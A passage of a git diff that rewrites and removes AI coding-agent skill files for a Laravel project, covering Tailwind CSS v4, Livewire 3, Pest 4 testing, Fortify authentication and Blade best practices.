+metadata:
+ author: laravel
---
# Tailwind CSS Development
-## When to Apply
-
-Activate this skill when:
-
-- Adding styles to components or pages
-- Working with responsive design
-- Implementing dark mode
-- Extracting repeated patterns into components
-- Debugging spacing or layout issues
-
## Documentation
Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation.
@@ -38,22 +27,24 @@ ### CSS-First Configuration
In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed:
-
+
+```css
@theme {
--color-brand: oklch(0.72 0.11 178);
}
-
+```
### Import Syntax
In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3:
-
+
+```diff
- @tailwind base;
- @tailwind components;
- @tailwind utilities;
+ @import "tailwindcss";
-
+```
### Replaced Utilities
@@ -77,43 +68,47 @@ ## Spacing
Use `gap` utilities instead of margins for spacing between siblings:
-
+
+```html
Item 1
Item 2
-
+```
## Dark Mode
If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant:
-
+
+```html
-
+```
## Common Pitfalls
diff --git a/.claude/skills/developing-with-fortify/SKILL.md b/.claude/skills/developing-with-fortify/SKILL.md
deleted file mode 100644
index 2ff71a4b4..000000000
--- a/.claude/skills/developing-with-fortify/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: developing-with-fortify
-description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
----
-
-# Laravel Fortify Development
-
-Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-
-## Documentation
-
-Use `search-docs` for detailed Laravel Fortify patterns and documentation.
-
-## Usage
-
-- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
-- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
-- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
-- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
-- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
-
-## Available Features
-
-Enable in `config/fortify.php` features array:
-
-- `Features::registration()` - User registration
-- `Features::resetPasswords()` - Password reset via email
-- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
-- `Features::updateProfileInformation()` - Profile updates
-- `Features::updatePasswords()` - Password changes
-- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
-
-> Use `search-docs` for feature configuration options and customization patterns.
-
-## Setup Workflows
-
-### Two-Factor Authentication Setup
-
-```
-- [ ] Add TwoFactorAuthenticatable trait to User model
-- [ ] Enable feature in config/fortify.php
-- [ ] Run migrations for 2FA columns
-- [ ] Set up view callbacks in FortifyServiceProvider
-- [ ] Create 2FA management UI
-- [ ] Test QR code and recovery codes
-```
-
-> Use `search-docs` for TOTP implementation and recovery code handling patterns.
-
-### Email Verification Setup
-
-```
-- [ ] Enable emailVerification feature in config
-- [ ] Implement MustVerifyEmail interface on User model
-- [ ] Set up verifyEmailView callback
-- [ ] Add verified middleware to protected routes
-- [ ] Test verification email flow
-```
-
-> Use `search-docs` for MustVerifyEmail implementation patterns.
-
-### Password Reset Setup
-
-```
-- [ ] Enable resetPasswords feature in config
-- [ ] Set up requestPasswordResetLinkView callback
-- [ ] Set up resetPasswordView callback
-- [ ] Define password.reset named route (if views disabled)
-- [ ] Test reset email and link flow
-```
-
-> Use `search-docs` for custom password reset flow patterns.
-
-### SPA Authentication Setup
-
-```
-- [ ] Set 'views' => false in config/fortify.php
-- [ ] Install and configure Laravel Sanctum
-- [ ] Use 'web' guard in fortify config
-- [ ] Set up CSRF token handling
-- [ ] Test XHR authentication flows
-```
-
-> Use `search-docs` for integration and SPA authentication patterns.
-
-## Best Practices
-
-### Custom Authentication Logic
-
-Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
-
-### Registration Customization
-
-Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
-
-### Rate Limiting
-
-Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
-
-## Key Endpoints
-
-| Feature | Method | Endpoint |
-|------------------------|----------|---------------------------------------------|
-| Login | POST | `/login` |
-| Logout | POST | `/logout` |
-| Register | POST | `/register` |
-| Password Reset Request | POST | `/forgot-password` |
-| Password Reset | POST | `/reset-password` |
-| Email Verify Notice | GET | `/email/verify` |
-| Resend Verification | POST | `/email/verification-notification` |
-| Password Confirm | POST | `/user/confirm-password` |
-| Enable 2FA | POST | `/user/two-factor-authentication` |
-| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
-| 2FA Challenge | POST | `/two-factor-challenge` |
-| Get QR Code | GET | `/user/two-factor-qr-code` |
-| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.claude/skills/livewire-development/SKILL.md b/.claude/skills/livewire-development/SKILL.md
index 755d20713..70ecd57d4 100644
--- a/.claude/skills/livewire-development/SKILL.md
+++ b/.claude/skills/livewire-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: livewire-development
-description: >-
- Develops reactive Livewire 3 components. Activates when creating, updating, or modifying
- Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives;
- adding real-time updates, loading states, or reactivity; debugging component behavior;
- writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
+description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire."
+license: MIT
+metadata:
+ author: laravel
---
# Livewire Development
-## When to Apply
-
-Activate this skill when:
-- Creating new Livewire components
-- Modifying existing component state or behavior
-- Debugging reactivity or lifecycle issues
-- Writing Livewire component tests
-- Adding Alpine.js interactivity to components
-- Working with wire: directives
-
## Documentation
Use `search-docs` for detailed Livewire 3 patterns and documentation.
@@ -62,33 +51,31 @@ ### Component Structure
### Using Keys in Loops
-
-
+
+```blade
@foreach ($items as $item)
{{ $item->name }}
@endforeach
-
-
+```
### Lifecycle Hooks
Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects:
-
-
+
+```php
public function mount(User $user) { $this->user = $user; }
public function updatedSearch() { $this->resetPage(); }
-
-
+```
## JavaScript Hooks
You can listen for `livewire:init` to hook into Livewire initialization:
-
-
+
+```js
document.addEventListener('livewire:init', function () {
Livewire.hook('request', ({ fail }) => {
if (fail && fail.status === 419) {
@@ -100,28 +87,25 @@ ## JavaScript Hooks
console.error(message);
});
});
-
-
+```
## Testing
-
-
+
+```php
Livewire::test(Counter::class)
->assertSet('count', 0)
->call('increment')
->assertSet('count', 1)
->assertSee(1)
->assertStatus(200);
+```
-
-
-
-
+
+```php
$this->get('/posts/create')
->assertSeeLivewire(CreatePost::class);
-
-
+```
## Common Pitfalls
diff --git a/.claude/skills/pest-testing/SKILL.md b/.claude/skills/pest-testing/SKILL.md
index 9ca79830a..ba774e71b 100644
--- a/.claude/skills/pest-testing/SKILL.md
+++ b/.claude/skills/pest-testing/SKILL.md
@@ -1,63 +1,55 @@
---
name: pest-testing
-description: >-
- Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature
- tests, adding assertions, testing Livewire components, browser testing, debugging test failures,
- working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion,
- coverage, or needs to verify functionality works.
+description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code."
+license: MIT
+metadata:
+ author: laravel
---
# Pest Testing 4
-## When to Apply
-
-Activate this skill when:
-
-- Creating new tests (unit, feature, or browser)
-- Modifying existing tests
-- Debugging test failures
-- Working with browser testing or smoke testing
-- Writing architecture tests or visual regression tests
-
## Documentation
Use `search-docs` for detailed Pest 4 patterns and documentation.
-## Test Directory Structure
+## Basic Usage
-- `tests/Feature/` and `tests/Unit/` — Legacy tests (keep, don't delete)
-- `tests/v4/Feature/` — New feature tests (SQLite :memory: database)
-- `tests/v4/Browser/` — Browser tests (Pest Browser Plugin + Playwright)
-- `tests/Browser/` — Legacy Dusk browser tests (keep, don't delete)
+### Creating Tests
-New tests go in `tests/v4/`. The v4 suite uses SQLite :memory: with a schema dump (`database/schema/testing-schema.sql`) instead of running migrations.
+All tests must be written using Pest. Use `php artisan make:test --pest {name}`.
-Do NOT remove tests without approval.
+### Test Organization
-## Running Tests
+- Unit/Feature tests: `tests/Feature` and `tests/Unit` directories.
+- Browser tests: `tests/Browser/` directory.
+- Do NOT remove tests without approval - these are core application code.
-- All v4 tests: `php artisan test --compact tests/v4/`
-- Browser tests: `php artisan test --compact tests/v4/Browser/`
-- Feature tests: `php artisan test --compact tests/v4/Feature/`
-- Specific file: `php artisan test --compact tests/v4/Browser/LoginTest.php`
-- Filter: `php artisan test --compact --filter=testName`
-- Headed (see browser): `./vendor/bin/pest tests/v4/Browser/ --headed`
-- Debug (pause on failure): `./vendor/bin/pest tests/v4/Browser/ --debug`
-
-## Basic Test Structure
-
-
+### Basic Test Structure
+
+```php
it('is true', function () {
expect(true)->toBeTrue();
});
+```
-
+### Running Tests
+
+- Run minimal tests with filter before finalizing: `php artisan test --compact --filter=testName`.
+- Run all tests: `php artisan test --compact`.
+- Run file: `php artisan test --compact tests/Feature/ExampleTest.php`.
## Assertions
Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`:
+
+```php
+it('returns all', function () {
+ $this->postJson('/api/docs', [])->assertSuccessful();
+});
+```
+
| Use | Instead of |
|-----|------------|
| `assertSuccessful()` | `assertStatus(200)` |
@@ -70,116 +62,91 @@ ## Mocking
## Datasets
-Use datasets for repetitive tests:
-
-
+Use datasets for repetitive tests (validation rules, etc.):
+
+```php
it('has emails', function (string $email) {
expect($email)->not->toBeEmpty();
})->with([
'james' => 'james@laravel.com',
'taylor' => 'taylor@laravel.com',
]);
-
-
-
-## Browser Testing (Pest Browser Plugin + Playwright)
-
-Browser tests use `pestphp/pest-plugin-browser` with Playwright. They run **outside Docker** — the plugin starts an in-process HTTP server and Playwright browser automatically.
-
-### Key Rules
-
-1. **Always use `RefreshDatabase`** — the in-process server uses SQLite :memory:
-2. **Always seed `InstanceSettings::create(['id' => 0])` in `beforeEach`** — most pages crash without it
-3. **Use `User::factory()` for auth tests** — create users with `id => 0` for root user
-4. **No Dusk, no Selenium** — use `visit()`, `fill()`, `click()`, `assertSee()` from the Pest Browser API
-5. **Place tests in `tests/v4/Browser/`**
-6. **Views with bare `function` declarations** will crash on the second request in the same process — wrap with `function_exists()` guard if you encounter this
-
-### Browser Test Template
-
-
- 0]);
-});
-
-it('can visit the page', function () {
- $page = visit('/login');
-
- $page->assertSee('Login');
-});
-
-
-### Browser Test with Form Interaction
-
-
-it('fails login with invalid credentials', function () {
- User::factory()->create([
- 'id' => 0,
- 'email' => 'test@example.com',
- 'password' => Hash::make('password'),
- ]);
-
- $page = visit('/login');
-
- $page->fill('email', 'random@email.com')
- ->fill('password', 'wrongpassword123')
- ->click('Login')
- ->assertSee('These credentials do not match our records');
-});
-
-
-### Browser API Reference
-
-| Method | Purpose |
-|--------|---------|
-| `visit('/path')` | Navigate to a page |
-| `->fill('field', 'value')` | Fill an input by name |
-| `->click('Button Text')` | Click a button/link by text |
-| `->assertSee('text')` | Assert visible text |
-| `->assertDontSee('text')` | Assert text is not visible |
-| `->assertPathIs('/path')` | Assert current URL path |
-| `->assertSeeIn('.selector', 'text')` | Assert text in element |
-| `->screenshot()` | Capture screenshot |
-| `->debug()` | Pause test, keep browser open |
-| `->wait(seconds)` | Wait N seconds |
-
-### Debugging
-
-- Screenshots auto-saved to `tests/Browser/Screenshots/` on failure
-- `->debug()` pauses and keeps browser open (press Enter to continue)
-- `->screenshot()` captures state at any point
-- `--headed` flag shows browser, `--debug` pauses on failure
-
-## SQLite Testing Setup
-
-v4 tests use SQLite :memory: instead of PostgreSQL. Schema loaded from `database/schema/testing-schema.sql`.
-
-### Regenerating the Schema
-
-When migrations change, regenerate from the running PostgreSQL database:
-
-```bash
-docker exec coolify php artisan schema:generate-testing
```
-## Architecture Testing
+## Pest 4 Features
-
+| Feature | Purpose |
+|---------|---------|
+| Browser Testing | Full integration tests in real browsers |
+| Smoke Testing | Validate multiple pages quickly |
+| Visual Regression | Compare screenshots for visual changes |
+| Test Sharding | Parallel CI runs |
+| Architecture Testing | Enforce code conventions |
+### Browser Test Example
+
+Browser tests run in real browsers for full integration testing:
+
+- Browser tests live in `tests/Browser/`.
+- Use Laravel features like `Event::fake()`, `assertAuthenticated()`, and model factories.
+- Use `RefreshDatabase` for clean state per test.
+- Interact with page: click, type, scroll, select, submit, drag-and-drop, touch gestures.
+- Test on multiple browsers (Chrome, Firefox, Safari) if requested.
+- Test on different devices/viewports (iPhone 14 Pro, tablets) if requested.
+- Switch color schemes (light/dark mode) when appropriate.
+- Take screenshots or pause tests for debugging.
+
+
+```php
+it('may reset the password', function () {
+ Notification::fake();
+
+ $this->actingAs(User::factory()->create());
+
+ $page = visit('/sign-in');
+
+ $page->assertSee('Sign In')
+ ->assertNoJavaScriptErrors()
+ ->click('Forgot Password?')
+ ->fill('email', 'nuno@laravel.com')
+ ->click('Send Reset Link')
+ ->assertSee('We have emailed your password reset link!');
+
+ Notification::assertSent(ResetPassword::class);
+});
+```
+
+### Smoke Testing
+
+Quickly validate multiple pages have no JavaScript errors:
+
+
+```php
+$pages = visit(['/', '/about', '/contact']);
+
+$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs();
+```
+
+### Visual Regression Testing
+
+Capture and compare screenshots to detect visual changes.
+
+### Test Sharding
+
+Split tests across parallel processes for faster CI runs.
+
+### Architecture Testing
+
+Pest 4 includes architecture testing (from Pest 3):
+
+
+```php
arch('controllers')
->expect('App\Http\Controllers')
->toExtendNothing()
->toHaveSuffix('Controller');
-
-
+```
## Common Pitfalls
@@ -187,7 +154,4 @@ ## Common Pitfalls
- Using `assertStatus(200)` instead of `assertSuccessful()`
- Forgetting datasets for repetitive validation tests
- Deleting tests without approval
-- Forgetting `assertNoJavaScriptErrors()` in browser tests
-- **Browser tests: forgetting `InstanceSettings::create(['id' => 0])` — most pages crash without it**
-- **Browser tests: forgetting `RefreshDatabase` — SQLite :memory: starts empty**
-- **Browser tests: views with bare `function` declarations crash on second request — wrap with `function_exists()` guard**
+- Forgetting `assertNoJavaScriptErrors()` in browser tests
\ No newline at end of file
diff --git a/.claude/skills/tailwindcss-development/SKILL.md b/.claude/skills/tailwindcss-development/SKILL.md
index 12bd896bb..7c8e295e8 100644
--- a/.claude/skills/tailwindcss-development/SKILL.md
+++ b/.claude/skills/tailwindcss-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: tailwindcss-development
-description: >-
- Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components,
- working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors,
- typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle,
- hero section, cards, buttons, or any visual/UI changes.
+description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS."
+license: MIT
+metadata:
+ author: laravel
---
# Tailwind CSS Development
-## When to Apply
-
-Activate this skill when:
-
-- Adding styles to components or pages
-- Working with responsive design
-- Implementing dark mode
-- Extracting repeated patterns into components
-- Debugging spacing or layout issues
-
## Documentation
Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation.
@@ -38,22 +27,24 @@ ### CSS-First Configuration
In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed:
-
+
+```css
@theme {
--color-brand: oklch(0.72 0.11 178);
}
-
+```
### Import Syntax
In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3:
-
+
+```diff
- @tailwind base;
- @tailwind components;
- @tailwind utilities;
+ @import "tailwindcss";
-
+```
### Replaced Utilities
@@ -77,43 +68,47 @@ ## Spacing
Use `gap` utilities instead of margins for spacing between siblings:
-
+
+```html
Item 1
Item 2
-
+```
## Dark Mode
If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant:
-
+
+```html
-
+```
## Common Pitfalls
diff --git a/.cursor/skills/developing-with-fortify/SKILL.md b/.cursor/skills/developing-with-fortify/SKILL.md
deleted file mode 100644
index 2ff71a4b4..000000000
--- a/.cursor/skills/developing-with-fortify/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: developing-with-fortify
-description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
----
-
-# Laravel Fortify Development
-
-Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-
-## Documentation
-
-Use `search-docs` for detailed Laravel Fortify patterns and documentation.
-
-## Usage
-
-- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
-- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
-- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
-- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
-- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
-
-## Available Features
-
-Enable in `config/fortify.php` features array:
-
-- `Features::registration()` - User registration
-- `Features::resetPasswords()` - Password reset via email
-- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
-- `Features::updateProfileInformation()` - Profile updates
-- `Features::updatePasswords()` - Password changes
-- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
-
-> Use `search-docs` for feature configuration options and customization patterns.
-
-## Setup Workflows
-
-### Two-Factor Authentication Setup
-
-```
-- [ ] Add TwoFactorAuthenticatable trait to User model
-- [ ] Enable feature in config/fortify.php
-- [ ] Run migrations for 2FA columns
-- [ ] Set up view callbacks in FortifyServiceProvider
-- [ ] Create 2FA management UI
-- [ ] Test QR code and recovery codes
-```
-
-> Use `search-docs` for TOTP implementation and recovery code handling patterns.
-
-### Email Verification Setup
-
-```
-- [ ] Enable emailVerification feature in config
-- [ ] Implement MustVerifyEmail interface on User model
-- [ ] Set up verifyEmailView callback
-- [ ] Add verified middleware to protected routes
-- [ ] Test verification email flow
-```
-
-> Use `search-docs` for MustVerifyEmail implementation patterns.
-
-### Password Reset Setup
-
-```
-- [ ] Enable resetPasswords feature in config
-- [ ] Set up requestPasswordResetLinkView callback
-- [ ] Set up resetPasswordView callback
-- [ ] Define password.reset named route (if views disabled)
-- [ ] Test reset email and link flow
-```
-
-> Use `search-docs` for custom password reset flow patterns.
-
-### SPA Authentication Setup
-
-```
-- [ ] Set 'views' => false in config/fortify.php
-- [ ] Install and configure Laravel Sanctum
-- [ ] Use 'web' guard in fortify config
-- [ ] Set up CSRF token handling
-- [ ] Test XHR authentication flows
-```
-
-> Use `search-docs` for integration and SPA authentication patterns.
-
-## Best Practices
-
-### Custom Authentication Logic
-
-Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
-
-### Registration Customization
-
-Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
-
-### Rate Limiting
-
-Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
-
-## Key Endpoints
-
-| Feature | Method | Endpoint |
-|------------------------|----------|---------------------------------------------|
-| Login | POST | `/login` |
-| Logout | POST | `/logout` |
-| Register | POST | `/register` |
-| Password Reset Request | POST | `/forgot-password` |
-| Password Reset | POST | `/reset-password` |
-| Email Verify Notice | GET | `/email/verify` |
-| Resend Verification | POST | `/email/verification-notification` |
-| Password Confirm | POST | `/user/confirm-password` |
-| Enable 2FA | POST | `/user/two-factor-authentication` |
-| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
-| 2FA Challenge | POST | `/two-factor-challenge` |
-| Get QR Code | GET | `/user/two-factor-qr-code` |
-| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.cursor/skills/livewire-development/SKILL.md b/.cursor/skills/livewire-development/SKILL.md
index 755d20713..70ecd57d4 100644
--- a/.cursor/skills/livewire-development/SKILL.md
+++ b/.cursor/skills/livewire-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: livewire-development
-description: >-
- Develops reactive Livewire 3 components. Activates when creating, updating, or modifying
- Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives;
- adding real-time updates, loading states, or reactivity; debugging component behavior;
- writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
+description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire."
+license: MIT
+metadata:
+ author: laravel
---
# Livewire Development
-## When to Apply
-
-Activate this skill when:
-- Creating new Livewire components
-- Modifying existing component state or behavior
-- Debugging reactivity or lifecycle issues
-- Writing Livewire component tests
-- Adding Alpine.js interactivity to components
-- Working with wire: directives
-
## Documentation
Use `search-docs` for detailed Livewire 3 patterns and documentation.
@@ -62,33 +51,31 @@ ### Component Structure
### Using Keys in Loops
-
-
+
+```blade
@foreach ($items as $item)
{{ $item->name }}
@endforeach
-
-
+```
### Lifecycle Hooks
Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects:
-
-
+
+```php
public function mount(User $user) { $this->user = $user; }
public function updatedSearch() { $this->resetPage(); }
-
-
+```
## JavaScript Hooks
You can listen for `livewire:init` to hook into Livewire initialization:
-
-
+
+```js
document.addEventListener('livewire:init', function () {
Livewire.hook('request', ({ fail }) => {
if (fail && fail.status === 419) {
@@ -100,28 +87,25 @@ ## JavaScript Hooks
console.error(message);
});
});
-
-
+```
## Testing
-
-
+
+```php
Livewire::test(Counter::class)
->assertSet('count', 0)
->call('increment')
->assertSet('count', 1)
->assertSee(1)
->assertStatus(200);
+```
-
-
-
-
+
+```php
$this->get('/posts/create')
->assertSeeLivewire(CreatePost::class);
-
-
+```
## Common Pitfalls
diff --git a/.cursor/skills/pest-testing/SKILL.md b/.cursor/skills/pest-testing/SKILL.md
index 67455e7e6..ba774e71b 100644
--- a/.cursor/skills/pest-testing/SKILL.md
+++ b/.cursor/skills/pest-testing/SKILL.md
@@ -1,24 +1,13 @@
---
name: pest-testing
-description: >-
- Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature
- tests, adding assertions, testing Livewire components, browser testing, debugging test failures,
- working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion,
- coverage, or needs to verify functionality works.
+description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code."
+license: MIT
+metadata:
+ author: laravel
---
# Pest Testing 4
-## When to Apply
-
-Activate this skill when:
-
-- Creating new tests (unit, feature, or browser)
-- Modifying existing tests
-- Debugging test failures
-- Working with browser testing or smoke testing
-- Writing architecture tests or visual regression tests
-
## Documentation
Use `search-docs` for detailed Pest 4 patterns and documentation.
@@ -37,13 +26,12 @@ ### Test Organization
### Basic Test Structure
-
-
+
+```php
it('is true', function () {
expect(true)->toBeTrue();
});
-
-
+```
### Running Tests
@@ -55,13 +43,12 @@ ## Assertions
Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`:
-
-
+
+```php
it('returns all', function () {
$this->postJson('/api/docs', [])->assertSuccessful();
});
-
-
+```
| Use | Instead of |
|-----|------------|
@@ -77,16 +64,15 @@ ## Datasets
Use datasets for repetitive tests (validation rules, etc.):
-
-
+
+```php
it('has emails', function (string $email) {
expect($email)->not->toBeEmpty();
})->with([
'james' => 'james@laravel.com',
'taylor' => 'taylor@laravel.com',
]);
-
-
+```
## Pest 4 Features
@@ -111,8 +97,8 @@ ### Browser Test Example
- Switch color schemes (light/dark mode) when appropriate.
- Take screenshots or pause tests for debugging.
-
-
+
+```php
it('may reset the password', function () {
Notification::fake();
@@ -129,20 +115,18 @@ ### Browser Test Example
Notification::assertSent(ResetPassword::class);
});
-
-
+```
### Smoke Testing
Quickly validate multiple pages have no JavaScript errors:
-
-
+
+```php
$pages = visit(['/', '/about', '/contact']);
$pages->assertNoJavaScriptErrors()->assertNoConsoleLogs();
-
-
+```
### Visual Regression Testing
@@ -156,14 +140,13 @@ ### Architecture Testing
Pest 4 includes architecture testing (from Pest 3):
-
-
+
+```php
arch('controllers')
->expect('App\Http\Controllers')
->toExtendNothing()
->toHaveSuffix('Controller');
-
-
+```
## Common Pitfalls
diff --git a/.cursor/skills/tailwindcss-development/SKILL.md b/.cursor/skills/tailwindcss-development/SKILL.md
index 12bd896bb..7c8e295e8 100644
--- a/.cursor/skills/tailwindcss-development/SKILL.md
+++ b/.cursor/skills/tailwindcss-development/SKILL.md
@@ -1,24 +1,13 @@
---
name: tailwindcss-development
-description: >-
- Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components,
- working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors,
- typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle,
- hero section, cards, buttons, or any visual/UI changes.
+description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS."
+license: MIT
+metadata:
+ author: laravel
---
# Tailwind CSS Development
-## When to Apply
-
-Activate this skill when:
-
-- Adding styles to components or pages
-- Working with responsive design
-- Implementing dark mode
-- Extracting repeated patterns into components
-- Debugging spacing or layout issues
-
## Documentation
Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation.
@@ -38,22 +27,24 @@ ### CSS-First Configuration
In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed:
-
+
+```css
@theme {
--color-brand: oklch(0.72 0.11 178);
}
-
+```
### Import Syntax
In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3:
-
+
+```diff
- @tailwind base;
- @tailwind components;
- @tailwind utilities;
+ @import "tailwindcss";
-
+```
### Replaced Utilities
@@ -77,43 +68,47 @@ ## Spacing
Use `gap` utilities instead of margins for spacing between siblings:
-
+
+```html
Item 1
Item 2
-
+```
## Dark Mode
If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant:
-
+
+```html
+```
+
+## Use `@pushOnce` for Per-Component Scripts
+
+If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once.
+
+## Prefer Blade Components Over `@include`
+
+`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots.
+
+## Use View Composers for Shared View Data
+
+If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it.
+
+## Use Blade Fragments for Partial Re-Renders (htmx/Turbo)
+
+A single view can return either the full page or just a fragment, keeping routing clean.
+
+```php
+return view('dashboard', compact('users'))
+ ->fragmentIf($request->hasHeader('HX-Request'), 'user-list');
+```
+
+## Use `@aware` for Deeply Nested Component Props
+
+Avoids re-passing parent props through every level of nested components.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/caching.md b/.agents/skills/laravel-best-practices/rules/caching.md
new file mode 100644
index 000000000..eb3ef3e62
--- /dev/null
